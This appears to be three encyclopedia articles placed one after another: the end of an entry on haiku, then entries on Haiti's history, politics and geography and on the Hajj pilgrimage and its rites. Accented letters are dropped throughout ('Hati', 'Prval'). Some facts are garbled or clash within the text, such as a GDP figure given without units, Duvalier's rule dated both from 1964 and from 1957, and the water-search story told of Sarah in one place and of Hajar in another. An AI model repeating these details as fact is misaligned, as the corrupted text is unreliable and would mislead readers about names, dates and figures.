          Traditional hokku/haiku required a long period of learning and maturing, but contemporary haiku is often (and mistakenly) regarded as an "instant" form of brief verse that can be written by anyone, from schoolchildren to professionals. Many writers of modern haiku stay faithful to the standards of old hokuu, however some other contemporary haiku poets have dropped such standards, emphasizing personal freedom and pursuing ongoing exploration in both form and subject matter.


          Due to the various views and practices today, it is impossible to single out any current style or format or subject matter as definitive "haiku." Nonetheless, some of the more common practices in English are:


          
            	Use of three (or fewer) lines of about 17 or fewer syllables


            	Use of a season word (kigo)


            	Use of a cut or caesura (sometimes indicated by a punctuation mark) to contrast and compare, implicitly, two events, images, or situations

          


          This gradual loosening of traditional standards, encouraged by such poet-critics as Bob Grumman, has resulted in the word "haiku" being applied to brief, mathematical "poems," ("mathemaku") and to visual poetry by Scott Helms. This attempt at stretching definitions of haiku can be considered excessive, but Grumman attempts to defend his position by pointing to an alleged blurring of definitional boundaries in Japan. Those cognizant of Japanese and the haiku scene in Japan dispute this claim.


          In the early 21st century, there is a thriving community of haiku poets worldwide, mainly communicating through national societies and journals in in Japan, English-speaking countries, in Northern Europe (mainly Sweden, Germany, France, and The Netherlands), in the Balkans (mainly Croatia, Slovenia, Serbia, Bulgaria, and Romania), and in Russia.


          Famous writers


          


          Pre-Shiki period (hokku)


          
            	Matsuo Bashō ( 1644 1694)


            	Onitsura ( 1661 1738)


            	Yosa Buson ( 17161783)


            	Kobayashi Issa (17631827)

          


          


          Shiki and later (haiku)


          
            	Masaoka Shiki (18671902)


            	Kawahigashi Hekigotō (18731937)


            	Takahama Kyoshi (18741959)


            	Taneda Santoka (18821940)


            	Iida Dakotsu (18851962)


            	Nakamura Kusatao (19011983)


            	Ozaki Hosai


            	Ogiwara Seisensui


            	Natsume Soseki


            	Murakami Kijo


            	Akutagawa Ryunosuke


            	Hino Sojo


            	Mizuhara Shuoshi


            	Yamaguchi Seishi


            	Tomiyasu Fusei


            	Kawabata Bosha


            	Nakamura Kusatao


            	Ishida Hakyo


            	Kato Shuson


            	Saito Sanki


            	Tomizawa Kakio


            	Kaneko Tota

          


          (see Modern Japanese Haiku: An Anthology, compiled and translated by Makoto Ueda: University of Toronto Press 1976)


          


          Non-Japanese poets


          Although all of the poets below have some haiku in print, only Virgilio--and perhaps Roseliep and Swede--are known primarily for haiku. Amiri Baraka recently authored a collection of what he calls "low coup," his own variant of the haiku form. Poet Sonia Sanchez is also known for her unconventional blending of haiku and the blues musical genre.


          
            
              	
                
                  	John Ashbery


                  	W. H. Auden


                  	Amiri Baraka


                  	Jorge Luis Borges


                  	John Brandi


                  	Billy Collins


                  	Cid Corman


                  	Charles Henri Ford

                

              

              	
                
                  	Allen Ginsberg


                  	Dag Hammarskjld


                  	Jack Kerouac


                  	Dezső Kosztolnyi


                  	Lenard D. Moore


                  	Paul Muldoon


                  	Octavio Paz


                  	Raymond Roseliep

                

              

              	
                
                  	Kenneth Rexroth


                  	Sonia Sanchez


                  	Gary Snyder


                  	George Swede


                  	Jos Juan Tablada


                  	Nick Virgilio


                  	Gerald Vizenor


                  	Richard Wright

                

              
            

          


          
            	Coming from the woods,


            	A bull has a lilac sprig


            	Dangling from a horn.


            	--Richard Wright

          


          


          Monoku


          
            	Monoku Haiku/Senryu in one-liner form.

          


          


          Haiku journals


          
            	Modern Haiku magazine


            	The Heron's Nest  A well-regarded online journal of contemporary English-language haiku


            	Simply Haiku:  An online literary journal showcasing Japanese short form poetry


            	tinywords  An online English-language haiku journal, founded in 2000, that publishes one haiku per day


            	Roadrunner Haiku Journal  An international online English-language haiku journal, founded in 2004, which also includes gendai haiku translations and The Scorpion Prize.


            	Frogpond  Frogpond, the Journal of the Haiku Society of America


            	DailyHaiku  Publishes one contemporary English-language haiku online each day, and puts out a yearly print collection of contributed work

          


          


          Pseudo-haiku


          
            	The Pseudo-haiku page at the Open Directory Project


            	Spam Haiku archives at MIT A very large archive of spam-related Haiku.


            	Salon Magazine's Haiku Error Messages the winners of the contest that was the original source for the haiku error messages that can be found all over the internet


            	The case of the hijacked haiku Salon magazine's discussion of the distribution of winners of their haiku error messages contest, usually without the attributions to the original authors


            	DeCSS haiku The code for DeCSS in haiku by Seth Schoen

          


          
            Retrieved from " http://en.wikipedia.org/wiki/Haiku"
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                Rpublique d'Hati

                Repiblik d Ayiti

                
                  Republic of Haiti
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                    	Flag

                    	Coat of arms
                  

                

              
            


            
              	Motto:"L'Union Fait La Force"(French)

              "Unity makes Strength"
            


            
              	Anthem: La Dessalinienne
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              	Capital

              (and largest city)

              	Port-au-Prince

            


            
              	Official languages

              	French, Haitian Creole
            


            
              	Demonym

              	Haitian
            


            
              	Government

              	Presidential republic
            


            
              	-

              	President

              	Ren Prval
            


            
              	-

              	Prime Minister

              	Jacques-Edouard Alexis
            


            
              	Formation
            


            
              	-

              	as Saint-Domingue

              	1697
            


            
              	-

              	Independence from France

              	

              January 1, 1804
            


            
              	Area
            


            
              	-

              	Total

              	27,750km( 146th)

              10,714 sqmi
            


            
              	-

              	Water(%)

              	0.7
            


            
              	Population
            


            
              	-

              	2005estimate

              	8,827,000( 85th)
            


            
              	-

              	2003census

              	8,527,817
            


            
              	-

              	Density

              	335/km( 38th)

              758.1/sqmi
            


            
              	GDP( PPP)

              	2007estimate
            


            
              	-

              	Total

              	$16.51( 124th)
            


            
              	-

              	Per capita

              	$1913( 153rd)
            


            
              	Gini(2001)

              	59.2(high)
            


            
              	HDI(2007)

              	▲ 0.529(medium)( 146th)
            


            
              	Currency

              	Gourde ( HTG)
            


            
              	Time zone

              	( UTC-5)
            


            
              	-

              	Summer( DST)

              	( UTC-4)
            


            
              	Internet TLD

              	.ht
            


            
              	Calling code

              	+509
            

          


          Haiti (English pronounced /ˈheɪtiː/; French Hati pronounced [aiti]; Haitian Creole: Ayiti), officially the Republic of Haiti (Rpublique d'Hati; Repiblik d Ayiti), is a French and Creole speaking Latin American country located in the Greater Antilles archipelago on the Caribbean island of Hispaniola, which it shares with the Dominican Republic. Ayiti (Land of Mountains) was the indigenous Tano or Amerindian name for the island. The country's highest point is Pic la Selle, at 2,680metres (8,793ft). The total area of Haiti is 27,750 square kilometres (10,714 sqmi) and its capital is Port-au-Prince.


          A formerly prosperous French colony, the island nation bears several historical feats: Haiti became the first independent black-led republic and the only nation ever to form from a successful slave rebellion. Haiti is also the second oldest non-native country in the Americas, after the United States, as well as the first (and therefore the oldest) nation in Latin America to declare its independence, on January 1, 1804.


          Haiti has recently undergone a state of transition following the forced ousting of President Jean-Bertrand Aristide on February 29, 2004. The circumstances surrounding his departure from office are disputed. Ren Prval was elected president in his place on February 7, 2006, and took office in May of that year.


          


          History


          The island of Hispaniola, of which Haiti occupies the western third, was originally inhabited by the Tano Arawak people. Christopher Columbus landed at Mle Saint-Nicolas on December 5, 1492, and claimed the island for Spain. Nineteen days later, the Santa Maria ran aground near the present site of Cap-Haitien; Columbus was forced to leave 39 men, founding the settlement of La Navidad. Ayiti, which means "mountainous land", is a name that was used by its early inhabitants, the Tano-Arawak people.


          The Tanos were a seafaring branch of the South American Arawaks. Tano means "the good" or "noble" in their language. A system of cacicazgos ( chiefdoms) existed on Hispaniola; Marien, Maguana, Higuey, Magua and Xaragua.


          One of the earliest leaders to fight off Spanish conquest was Queen Anacaona, a Tano princess from Xaragua who married Chief Caonabo, a Tano chief ( cacique) from Maguana. The two fought hard against the Europeans; she was captured by the Spanish and executed in front of her people. Other noted Tano leaders from Haiti are Chief Guacanagari, Chief Guama and Chief Hatuey (who later fled to Cuba and helped fight the Spaniards there). Cacique Henri, another Tano chief, fought victoriously against the Spaniards in the Bahoruco to gain freedom for himself and his people. The town associated with this history is Anse a Pitres, near the south-eastern town of Jacmel. The Tanos as the Europeans saw them on the island of Hispaniola are virtually extinct. The survivors that escaped death mixed with African slaves (runaways called maroons), producing a small generation of zambos. The mestizo increased in number as native women conceived to European men. The Tano bloodline in Hispaniola diluted more and more as the decades went by primarily due to the establishment of Africans and mulattos on the island; however, it is believed that a small number of Haitians and Dominicans retain some native ancestry.


          


          Colonial rule


          Enslavement, harsh treatment of the natives, and especially epidemic diseases such as smallpox caused the Tano population to plummet over the next quarter-century. In response, the Spanish began to import African slaves to search for gold on the island. Spanish interest in Hispaniola waned after the 1520s, when vast reserves of gold and silver were discovered in Mexico and South America.


          Fearful of pirate attacks, the king of Spain in 1609 ordered all colonists on Hispaniola to move closer to the capital city, Santo Domingo. However, this resulted in British, Dutch and French pirates establishing bases on the island's abandoned northern and western coasts. French settlement of the island began in 1625, and in 1664 France formally claimed control of the western portion of the island. By the 1697 Treaty of Ryswick, Spain ceded the western third of Hispaniola to France. France named its new colony Saint-Domingue.


          While the Spanish side of the island was largely neglected, the French side prospered and became the richest colony in the Western Hemisphere, exporting large amounts of sugar and coffee. French colonial society contained three population groups: Europeans (about 32,000 in 1790) who held political and economic control; the gens de couleur, some 28,000 free mulattos and blacks who faced second-class status; and the slaves, who numbered about 500,000. (Living outside French society were the maroons (escaped ex-slaves who formed their own settlements in the highlands along with a very small number of Arawak survivors.)


          


          Revolution


          
            [image: Jean Jacques Dessalines became Haiti's first emperor in 1804.]

            
              Jean Jacques Dessalines became Haiti's first emperor in 1804.
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          Inspired by the French Revolution, the gens de couleur pressed the colonial government for expanded rights. In October 1790, 350 revolted against the government. On May 15, 1791, the French National Assembly granted political rights to all blacks and mulattoes who had been born free - but did not change the status quo regarding slavery. On August 22, 1791, slaves in the north rose against their masters near Cap-Franais (now Cap-Hatien). This revolution spread rapidly and came under the leadership of Toussaint L'Ouverture. He is commonly referred to as the "Black Napoleon." He soon formed alliances with the gens de couleur and the maroons, whose rights had been revoked by the French government in retaliation for the uprising.


          Toussaint' armies defeated the French colonial army, but then joined forces with it in 1794, following a decree by the revolutionary French government that abolished slavery. Under Toussaint's command, the Saint-Domingue army then defeated invading Spanish and British forces. This cooperation between Toussaint and French forces ended in 1802, however, when Napoleon sent a new invasion force designed to subdue the colony; many islanders suspected the army would also reimpose slavery. Napoleon's forces initially were successful at fighting their way onto the island, and persuaded Toussaint to a truce. He was then betrayed and captured and died in a French prison. Toussaint's arrest and the news that the French had reestablished slavery in Guadeloupe, led to the resumption of the rebellion, under the leadership of Jean-Jacques Dessalines and Henri Christophe, two of Toussaint's generals. Napoleon's forces were outnumbered by the combination of Jean-Jacques Dessalines, Henri Christophe, and Alexandre Petion, the "Generals of the Revolution."


          


          Independence


          Dessalines's armies won their final and decisive victory over the French forces at the Battle of Vertires on 18 November 1803, near Cap-Haitien. On 1 January 1804 the nation declared its independence, securing its position as the second independent country in the Americas, and the only successful slave rebellion in world history. Dessalines was its first ruler. The name Haiti was chosen in recognition of the old Arawak name for the island, Ayiti.


          The new State of Haiti supported the abolitionist cause wherever possible. Haiti aided Francisco de Miranda and Simn Bolvar, giving them refuge and supporting their revolutionary efforts under the condition he free South America's slaves. The slaveholding powers surrounding Haiti isolated the new nation under a cordon sanitaire, fearing slave revolutions of their own. The Haitian Revolution is thought to have inspired numerous slave revolts in the Caribbean, Brazil and United States. The blockade was virtually total. The Vatican withdrew its priests from Haiti, and did not return them until 1860. France refused to recognize Haiti's independence until it agreed to pay an indemnity of 150 million francs, to compensate for the losses of French planters in the revolutions, in 1833. Payment of this indemnity brought the government deeply in debt and crippled the country's economy.


          In 1806, Dessalines, by now Emperor, was murdered in a power struggle with political rivals who thought him a tyrant. The nation divided into two parts, a southern republic founded by Alexandre Ption (mulatto), becoming the first black-led republic in the world, and a northern kingdom under Henri Christophe. Christophe was responsible for the order and oversight of the construction of two New World marvels; his capital palace of Sans Souci and the massive Citadelle Laferrire, the largest fortress in the Western hemisphere.


          In August 1820, King Henri I (Henri Christophe) suffered a stroke that left him partially paralyzed. When the news spread of his infirmities, the whispers of rebellion, deceit and treachery began. On October 2, 1820, the military garrison at St. Marc led a mutiny that sparked a revolt. The mutiny preempted a conspiracy of some of Christophe's most loyal generals. Some of his trusted aides took him from the palace of Sans-Souci up to his Citadel, to await the inevitable confrontation with the rebels. Christophe ordered his attendants to dress him in his formal military uniform and for two days desperately tried to raise the strength to lead out his troops. Finally, he ordered his doctor to leave the room. Shortly after he left, Christophe shot and killed himself.


          Following Christophe's death, the nation was reunited as the Republic of Haiti under Jean-Pierre Boyer, Petion's successor. Boyer invaded the Spanish colony of Santo Domingo and proclaimed the entire island under Haitian rule, until 1844 when the Dominican Republic gained its independence separating the island into two countries. The Dominican Republic's independence constitutes the only independence campaign in the New World in one Latin American country from another. (Uruguay got it's independence from Brazil in 1828 and Uruguay used to be called the Cisplatine Province when it was part of Brazil).


          


          US occupation


          Throughout the nineteenth century, Haiti was ruled by a series of presidents, most of whom remained in office only briefly. Meanwhile, the country's economy was gradually dominated by foreigners, particularly from Germany. Concerned about German influence and growing military presence, and disturbed by the savage public dismembering of President Guillaume Sam by an enraged crowd, the United States invaded and occupied Haiti in 1915. The United States imposed a constitution written by future president Franklin D. Roosevelt, and applied an old system of compulsory corve labor to everyone. Previously this system had been applied only to members of the poor, black majority.


          Nationalist rebels, called Cacos, waged a persistent guerilla warfare, headed by Charlemagne Pralte (until 1919) and Dominique Batraville (until 1920). Roosevelt was disenchanted with the burden and negative social aspects of attempting to impose U.S. influence on the population and proceeded to implement an earlier disengagement agreement, thereby ending the U.S. occupation in 1934.


          


          The Duvaliers


          The United States left Haiti in the hands of the mulatto minority, but in 1946 Dumarsais Estim became the country's first black president since the beginning of the U.S. occupation. His efforts at reform sparked disorder, and when he attempted to extend his term of office in 1950 (as most previous presidents had done) there was a coup, followed by the second formal Military Council of Government led by Paul Magloire.


          Franois Duvalier, also known as "Papa Doc", was an ex-doctor who ruled as dictator of Haiti from 1964 until his death in 1971. In 1957, Dr. Franois Duvalier came to power in the country's first universal suffrage election; many believed this outcome was manipulated by the army. In 1964, he declared himself president for life. Duvalier maintained control over the population through his secret police organization, the Volunteers for National Security - nicknamed the Tonton Macoutes ("boogeymen") after a folkloric villain. This organization drew international criticism for its harsh treatment of political adversaries, both real and suspected. Upon Duvalier's death in 1971, he was succeeded by his nineteen year-old son Jean-Claude Duvalier (nicknamed "Baby Doc") as Haiti's new president for life. The younger Duvalier regime became notorious for corruption, and was deposed in 1986, ushering in a new period of upheaval.


          


          Aristide


          The priest Jean-Bertrand Aristide was elected president on December 16, 1990. He took office on February 7, 1991, becoming Haiti's first democratically elected leader, but was deposed in a U.S. supported coup on September 30, 1991, less than eight months after his inauguration. There followed three years of control by a military junta led by Raoul Cedras, before a second U.S. invasion and occupation in 1994 returned Aristide to power on condition he accept a U.S. design economic program. One of the first acts of the re-installed government of Aristide was to disband the army.


          Aristide was succeeded by a one-time ally and former prime minister, Ren Prval, in 1996. Prval's administration is notable for the fact that he was the first president in Haiti's history to constitutionally succeed a former president, serve a complete term, and leave his office voluntarily at the prescribed time. Every previous president had either died in office, been assassinated, been deposed, overstayed his prescribed term, or been installed by a foreign power.
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          Aristide returned to office in 2001 after elections that were boycotted by many of his opponents, who accused his party, Fanmi Lavalas, of counting votes improperly in a previous senatorial election, as well as threatening critics. Aristide denied the charges and accused his opponents of accepting U.S. assistance, and plotting to overthrow his government. The opposition mostly denied this, but many of its members continually called for his early resignation.


          In February 2004, following months of large-scale protests against what critics charged was an increasingly corrupt and violent rule, violence spread through Haiti, involving conflicts between the government and various rebel groups. Under pressure from both foreign governments and internal sources, and with the rebel army approaching the capital, Aristide was forced to resign and fled the country, going into exile in the Central African Republic on February 29. Aristide later alleged that he faced pressure from the U.S. Armed Forces and American officials from the United States' embassy in Port-au-Prince. At the time, the United States and some of Aristide's own security agents claimed that Aristide had agreed to leave the country willingly and that it had escorted him to Africa for his own protection. As Aristide departed the country, many members of his government fled or went into hiding, and the United States again sent Marines into Port-au-Prince. After Aristide's departure, Supreme Court Chief Justice Boniface Alexandre succeeded to the presidency appointed by a council of elders and supported by the United States, Canada, and France.


          In the months following the February Coup, the country was engulfed in violence between the interim government's forces and Lavalas supporters, and many members of the Lavalas party were sent to jail, exiled, or killed. Over 10,000 workers in Haitian civil enterprises lost their jobs following the coup.


          Elections were held in February 2006, and Ren Prval was again elected president. Preval has promised to bring peace and stability to the country. (See Haitian elections, 2006.)


          


          Politics


          The politics of Haiti takes place in the framework of a presidential republic, and of a pluriform multi-party system, whereby the President of Haiti is the head of state, while the Prime Minister is head of government. Executive power is exercised by the government. Legislative power is vested in both the government and the two chambers of the National Assembly of Hati.


          


          Departments, arrondissements, and communes


          Haiti is divided into 10 departments. The departments are listed below, with the departmental capital cities in parentheses.
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            	Artibonite ( Gonaves)


            	Centre ( Hinche)


            	Grand'Anse ( Jrmie)


            	Nippes ( Miragone)


            	Nord ( Cap-Hatien)


            	Nord-Est ( Fort-Libert)


            	Nord-Ouest ( Port-de-Paix)


            	Ouest (Port-au-Prince) *national capital*


            	Sud-Est ( Jacmel)


            	Sud ( Les Cayes)

          


          The departments are further divided into 41 arrondissements, and 133 communes which serve as second and third level administrative divisions.


          


          Geography
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          Haiti is situated on the western part of the second largest island in the Greater Antilles, Hispaniola. Haiti is the third largest country in the Caribbean only behind Cuba and the Dominican Republic respectively. Haiti at its closest point is only 80 kilometres (43 nmi) away from Cuba. Haiti's terrain consists mainly of rugged mountains with small coastal plains and river valleys. The country's largest crop-producing and one of Haiti's most fertile river valleys is the Plaine de l'Artibonite. The east and central part of the island is a large elevated plateau. The highest point in Haiti is Pic la Selle at 2,680metres (8,793 feet). The 360 kilometre (224 mile) border is shared with the Dominican Republic. Haiti also contains several islands. The famous island of Tortuga (le de la Tortue) is located off the coast of northern Haiti. The arrondissement of La Gonve is located on the island of the same name, in the Gulf of Gonave. Gonave Island is moderately populated by rural villagers. le  Vache (Island of The Cow) is located off the tip of southwestern Haiti. It is a rather lush island with many beautiful sights. Also part of Haiti are the Cayemites and Ile de Anacaona.


          In 1925, Haiti was a lush tropical paradise, with 60% of its original forest covering the lands and mountainous regions. Since then, the population has cut down all but 2% of its forest cover, and in the process has destroyed fertile farmland soils, while contributing to desertification. Erosion has been severe in the mountainous areas.}. Most Haitian logging is done to produce charcoal, the country's chief source of fuel. The plight of Haiti's forests has attracted international attention, and has led to numerous reforestation efforts, but these have met with little success to date. Despite the large environmental crises, Haiti retains a very high amount of biodiversity in proportion to its small size. The country is home to more than 6,000 plants in which 35% are endemic and 220 species of birds in which 21 species are endemic. The country's high biodiversity is due to its mountainous topography and fluctuating elevations in which each elevation harbors different microclimates and its own endemic fauna and flora. The country's varied scenery include lush green cloud forests (in some of the mountain ranges and the protected areas), high mountain peaks, cactus-strewn desert landscapes (due to the deforestation), and palm tree-lined beaches.
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          Environmental issues


          In addition to soil erosion, the deforestation has also caused periodic flooding, as seen on 17 September, 2004. Tropical storm Jeanne skimmed the north coast of Haiti, leaving 3,006 people dead in flooding and mudslides, mostly in the city of Gonaves. Earlier that year in May, floods killed over 3,000 people on Haiti's southern border with the Dominican Republic.


          Currently the country is seeking to implement a biofuel solution to its energy problems.


          There has been a dispute between the United States and Haiti about Navassa Island (Navasse), which both countries claim. The Haitian claim relies on documentation that Navassa became part of Haiti after a 1697 agreement between France and Spain that gave France the western third of Hispaniola plus nearby islands, including Navassa Island. The United States claims the island pursuant to its own Guano Islands Act of 1856.


          


          


          Economy
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          Haiti remains the least-developed country in the Americas, largely due to political instability and repeated episodes of violence. Comparative social and economic indicators show Haiti falling behind other low-income developing countries (particularly in the hemisphere) since the 1980s. Haiti now ranks 146th of 177 countries in the United Nations Human Development Index (2006). About 80% of the population were estimated to be living in poverty in 2003. Haiti is the only country in the Americas on the United Nations list of Least Developed Countries. Economic growth was negative in 2001 and 2002, and flat in 2003.


          About 66% of all Haitians work in the agricultural sector, which consists mainly of small-scale subsistence farming, but this activity makes up only 30% of the GDP. The country has experienced little formal job creation over the past decade, although the informal economy is growing. It has consistently ranked among the most corrupt countries in the world on the Corruption Perceptions Index.


          Foreign aid makes up approximately 30%-40% of the national government's budget. The largest donor is the United States, and European nations also contribute. Venezuela and Cuba also make various contributions to Haiti's economy, especially after alliances were renewed in 2006-7.


          U.S. aid to the Haitian government was completely cut off in 2001-2004 after the 2000 election was disputed and President Aristide was accused of various misdeeds. After Aristide's departure in 2004, aid was restored, and the Brazilian army led the United Nations Stabilization Mission in Haiti peacekeeping operation.


          


          Education


          Of Haiti's 8.8 million inhabitants, just under half are illiterate. The literacy rate is the lowest in the region with 52.9%. Haiti counts with 15,200 primary schools, of which 90% are non-public and managed by the communities, religious organizations or NGOs. The enrollment rate for primary school is 67%, of which less than 30% reach 6th grade, and for secondary school is 20%.


          The educational system of Haiti is based of the French system. Higher education is provided by universities and other public and private institutions and is under the responsibility of the Ministry of Education.


          A list of universities in Haiti includes:


          
            	Universit Carabe (CUC)


            	Universit Chrtienne du Nord d'Hati (UCNH)


            	Universit d'tat d'Hati (UEH)


            	Universit Lumire / MEBSH


            	Universit Notre Dame d'Hati (UNDH)


            	Universit Quisqueya (UNIQ)


            	Universit Roi Henri Christophe


            	Universit Publique de l'Artibonite aux Gonaves (UPAG)


            	Universit Publique du Nord au Cap-Hatien (UPNCH)


            	Universit Publique du Sud au Cayes (UPSAC)

          


          


          Demographics


          Although Haiti averages approximately 250 people per square kilometer (650 per sq. mi.), its population is concentrated most heavily in urban areas, coastal plains, and valleys. About 95% of Haitians are of predominantly African descent. The influential remainder of the population vary in ethnic groups from mulattoes, mestizoes, to Arabs (primarily Lebanese) and Europeans. White-descended Haitians are mainly of French, Polish, Spanish, Italian, and German heritage. There is also a small Asian (mostly Chinese) presence within the minority.


          


          Haitian diaspora


          As with many other poor Caribbean nations, there is a large diaspora, which includes many, often illegal, immigrants in nearby countries. Millions of Haitians live abroad, chiefly in the Dominican Republic, Bahamas, Cuba, French Guiana, the Lesser Antilles, Canada, France, and the United States.


          


          In the United States


          There is a sizable community of Haitian migrs residing in Miami's "Little Haiti" section. In New York City, the Brooklyn neighborhoods of Flatbush, Crown Heights, and Canarsie is also home to a thriving migr community. In the neighboring Queens, communities can be found in the Jamaica, Queens Village, Hollis, Rosedale and Cambria Heights sections of that borough. Other cities where notable communities have formed include Boston, Cambridge, Malden and Brockton (all in Massachusetts), Philadelphia, Pennsylvania, Washington D.C., Bridgeport, Connecticut, Chicago, Illinois, Tampa and Orlando (both Florida), East Orange , Irvington and Newark (all three in New Jersey), and New Rochelle and Spring Valley (both New York State).


          


          Languages


          Haiti's official languages are French and Haitian Creole (Kreyl Ayisyen). Nearly all Haitians speak the latter natively, a creole based primarily on French (90 percent of Haitian Creole vocabulary is French in origin), with significant African influence along with that of Spanish, Portuguese, and Tano to a lesser extent. French is however the principal written and administrative language, used by many educated Haitians.


          Spanish is spoken near the border with the Dominican Republic, and is increasingly being spoken in more westward areas, as Venezuelan, Cuban, and Dominican trade influence Haitian affairs, and Haiti becomes increasingly involved in Latin American transactions. English is also a very popular language, due to its position as an international language and Haiti's close ties with the United States.
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          The Hajj (Arabic: حج, transliteration: Ḥaǧǧ), that is pilgrimage to Mecca (Makkah), is the largest annual pilgrimage in the world. It is the fifth pillar of Islam, an obligation that must be carried out at least once in their lifetime by every able-bodied Muslim who can afford to do so. It is a demonstration of the solidarity of the Muslim people, and their submission to God.


          The pilgrimage occurs from the 6th to the 12th day of Dhu al-Hijjah, the 12th month of the Islamic calendar. Because the Islamic calendar is a lunar calendar, the event cannot be pegged to the Gregorian calendar, whose (solar) year is eleven days longer. In 2007, Hajj took place from December 17 to December 21. The next one will begin in the first week of December, 2008.


          The Hajj is associated with the life of Muhammad, but the ritual of pilgrimage to Mecca predates Islam, and was considered ancient during his lifetime in the 7th century. Many Muslims believe that it goes back to the time of Abraham in 2000 BCE. Pilgrims would join processions of tens of thousands of people, who would simultaneously converge on Mecca for the week of the Hajj, and perform a series of rituals. Each person would walk counter-clockwise seven times about the Kaaba, the cubical building towards which all Muslims pray; kiss the sacred Black Stone on its corner; run back and forth between the hills of Al-Safa and Al-Marwah; drink from the Zamzam Well; go to the plains of Mount Arafat to stand in vigil; The pilgrims would then shave their heads, perform an animal sacrifice, and celebrate the four day global festival of Eid al-Adha.


          As of 2007, an estimated two million pilgrims participate in this annual pilgrimage. Crowd-control techniques have become critical, and because of the large numbers of people, many of the rituals have become more stylized. It is not necessary to kiss the Black Stone, but merely to point at it on each circuit around the Kaaba. Throwing pebbles was done at large pillars, which for safety reasons were in 2004 changed to long walls with catchbasins below to catch the stones. The slaughter of an animal can be done either personally, or by appointing someone else to do it, and so forth. But even with the crowd control techniques, there are still many incidents during the Hajj, as pilgrims are trampled in the crush, or ramps collapse under the weight of the many visitors, causing hundreds of deaths. The Kingdom of Saudi Arabia's Ministry of Hajj has a website, with the message, "Be peaceful, orderly and kind. No crushing."


          Pilgrims can also go to Mecca to perform the rituals at other times of the year. This is sometimes called the "lesser pilgrimage", or Umrah. However, even if they perform the Umrah, they are still obligated to perform the Hajj at some other point in their lifetime.


          



          


          History


          The Hajj was based on a pilgrimage that was ancient even in the time of Muhammad in the 7th Century. According to Hadith, elements of the Hajj trace back to the time of Abraham, around 2000 BC, and it is believed that Prophet Abraham was ordered by God (Allah) to leave his son Ismael and Sarah, his wife in the desert. While Sarah ran back and forth seven times searching for water for her son Ismael, Abraham started to cry and he hit the ground with his feet and the water of the Zam Zam started coming up from under his feet and that is how the Zam Zam well came to be. Each year tribes from all around the Arabian peninsula would converge on Mecca, as part of the pilgrimage. The exact faith of the tribes was not important at that time, and Christian Arabs were as likely to make the pilgrimage as the pagans. Muslim historians refer to the time before Muhammad as al-Jahiliyah, the "Days of Ignorance", during which the Kaaba contained hundreds of idols representing totems of each of the tribes of the Arabian peninsula. The idols represented multiple faiths, from pagan gods to symbols of Jesus, Mary, Hubal and Allah .


          Muhammad was known to regularly perform the Umrah, even before he began receiving revelations. Historically, Muslims would gather at various meeting points in other great cities, and then proceed en masse towards Mecca, in groups that could comprise tens of thousands of pilgrims. Two of the most famous meeting points were in Cairo and Damascus. In Cairo, the Sultan would stand atop a platform of the famous gate Bab Zuwayla, to officially watch the beginning of the annual pilgrimage.


          In 632 AD, when Muhammad led his followers from Medina to Mecca, it was the first Hajj to be performed by Muslims alone, and the only Hajj ever performed by Muhammad. It was at this point that the Hajj became one of the Five Pillars of Islam. The Kaaba had been cleansed of the previous idols, and Muhammad ordained it as the house of God.


          


          Incidents during the Hajj


          There have been many incidents during the Hajj that have led to the loss of many hundreds of lives. The worst of these horrific incidents have usually occurred during the Stoning of the Devil ritual. During the 2006 Hajj on January 12, 362 pilgrims died. Tramplings have also occurred at the stage known as the sa'i, when pilgrims try to run but can only walk between two hills known as As-Safa and Al-Marwa. In 2006 there were some 600 casualties among pilgrims performing the Hajj.


          The Saudi Government is often criticised for not being proactive in providing facilities and infrastructure for the annual pilgrimage, and many measures are put in place in response to annual catastrophes.


          


          Preparations


          Pilgrims generally travel to Hajj in groups, as an expression of unity. Some airlines have special package holidays for Muslims going to Mecca. And now ships have also taken the job of taking the pilgrims to Mecca so they can perform Hajj.


          During the Hajj, male pilgrims are required to dress only in a garment consisting of two sheets of white unhemmed cloth, with the top draped over the torso and the bottom secured by a white sash; plus a pair of sandals. Women are simply required to maintain their hijab - normal modest dress, which does not cover the hands or face.


          The Ihram clothing is intended to show the equality of all pilgrims in the eyes of Allah, symbolizing the idea that there is no difference between a prince and a pauper when everyone is dressed equally. The Ihram also symbolizes purity and absolution of sins. A place designated for changing into Ihram is called a miqat.


          While the pilgrim is wearing the Ihram, they cannot shave, clip their nails, wear deodorant or perfume. They may not swear or quarrel, kill any living thing, or engage in sexual intercourse.


          An invocation, known as the talbiya (labaik allahuma labaik labaika la shareek laka labaik ena alhamd wanemata laka wal mulk la shareek lak) should be continuously said while the pilgrims are circling the kabbah counterclockwise


          


          Rites


          


          Upon arrival in Mecca, the pilgrim (now known as a Hajji), performs a series of ritual acts symbolic of the lives of Ibrahim (Abraham) and his wife Hajar (Hagar). The acts also symbolize the solidarity with Muslims worldwide.


          The greater Hajj (al-hajj al-akbar) begins on the eighth day of the lunar month of Dhu al-Hijjah. If they are not already wearing it upon their arrival, pilgrims put on ihram clothing, and then leave Mecca for the nearby town of Mina, where they spend the rest of the day. The Saudi government has put up thousands of large white tents at Mina, to provide accommodations for all the pilgrims.


          


          Umrah
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          On the first day of the Hajj, the 8th day of Dhul Hijjah {the 12th month}, the pilgrims perform their first Tawaf, which involves all of the pilgrims entering The Sacred Mosque ( Masjid Al Haram), and walking seven times in a counter-clockwise direction around the Kaaba, kissing the Black Stone (Hajr Al Aswad) on each circuit. If that is not possible due to the crowds, they may simply align themselves with it and point to the stone. Each complete circuit constitutes a "Shout" with 7 circuits constituting a complete tawaf. The place where pilgrims walk is known as "Mutaaf". Only the first three Shouts are compulsory and the rest optional, but invariably almost all perform it seven times.


          Eating is not allowed and the tawaf is normally performed all at once, the only exception being the drinking of water. Men are encouraged to perform the first three circuits at a hurried pace, followed by four times, more closely, at a leisurely pace.


          After the completion of Tawaf, all the pilgrims have to offer two Rakaat prayers at the Place of Abraham (Muqaam E Ibrahim), a site near the Kaaba. However, again due to large crowds during the days of Hajj, they can instead pray anywhere in the whole mosque.


          Although the circuits around the Kaaba are traditionally done on the groundlevel, Tawaf is now also performed on the first floor and roof of the mosque.


          After Tawaf on the same day, the pilgrims perform sa`i, running or walking seven times back and forth between the hills of Safa and Marwah. This is a re-enactment of Abraham's wife, Hajar, frantic search for water for her son, before the Zamzam Well was revealed to her by her son Ismael who started to cry for water and hit the ground with his feet and the water of the Zamzam started coming up from under his feet . The circuit used to be in the open air, but is now entirely enclosed by the Masjid al-Haram mosque, and can be accessed via air-conditioned tunnels. Pilgrims are advised to walk the circuit, though two green pillars mark a short section of the path where they are allowed to run, along with an 'express lane' for the disabled. The safety procedures are in place because previous incidents in this ritual have resulted in stampedes which ended in the deaths of hundreds of people.


